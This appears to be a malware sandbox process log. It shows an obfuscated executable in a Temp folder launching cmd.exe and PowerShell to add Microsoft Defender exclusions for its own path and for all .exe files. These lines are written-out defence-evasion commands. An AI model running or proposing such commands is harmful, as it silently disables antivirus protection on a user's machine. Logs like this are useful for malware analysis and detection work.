Rihypax_LetThereBeNightingale_obf.exe "C:\Users\test22\AppData\Local\Temp\Rihypax_LetThereBeNightingale_obf.exe"
2560cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\test22\AppData\Local\Temp\Rihypax_LetThereBeNightingale_obf.exe & exit
2808powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\test22\AppData\Local\Temp\Rihypax_LetThereBeNightingale_obf.exe
2876cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionExtension .exe & exit
2944powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionExtension .exe
3008